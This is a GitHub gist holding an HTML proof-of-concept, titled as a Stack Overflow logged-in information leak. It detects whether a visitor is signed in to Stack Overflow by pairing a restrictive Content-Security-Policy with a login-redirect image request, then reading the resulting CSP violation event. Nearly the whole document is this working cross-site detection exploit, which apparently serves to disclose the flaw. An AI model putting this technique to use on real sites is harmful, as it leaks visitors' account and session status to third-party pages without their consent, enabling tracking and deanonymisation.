Skip to content

Instantly share code, notes, and snippets.

@AlexanderOMara
Last active October 16, 2016 22:50
Show Gist options
  • Save AlexanderOMara/c4484d73c807522fa7d9fef3bc702bf9 to your computer and use it in GitHub Desktop.
Save AlexanderOMara/c4484d73c807522fa7d9fef3bc702bf9 to your computer and use it in GitHub Desktop.
Stack Overflow logged in information leak.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' stackoverflow.com;">
<title>Are you logged in to Stack Overflow?</title>
</head>
<body>
<h1>Are you logged in to Stack Overflow?<h1>
<h2 id="answer">...<h2>
<script>
(function() {
'use strict';
// We allow without the www, not with, so that redirect will fail.
var redir = 'http://www.stackoverflow.com';
var notTimeout;
var finished = false;
var answer = document.getElementById('answer');
window.addEventListener('securitypolicyviolation', function(e) {
// If the CSP error is the one expected, then an active session.
if (e.blockedURI.indexOf(redir) === 0) {
if (notTimeout) {
clearTimeout(notTimeout);
}
answer.textContent = 'Yes';
finished = true;
}
}, true);
function done() {
// Wait until the CSP error that follows is fired.
if (!finished) {
notTimeout = setTimeout(function() {
answer.textContent = 'No';
}, 100);
}
}
var img = document.createElement('img');
img.addEventListener('load', done);
img.addEventListener('error', done);
img.src =
'https://stackoverflow.com/users/login?ssrc=head&returnurl=' +
encodeURIComponent(redir) +
'&_=' + Date.now();
})();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment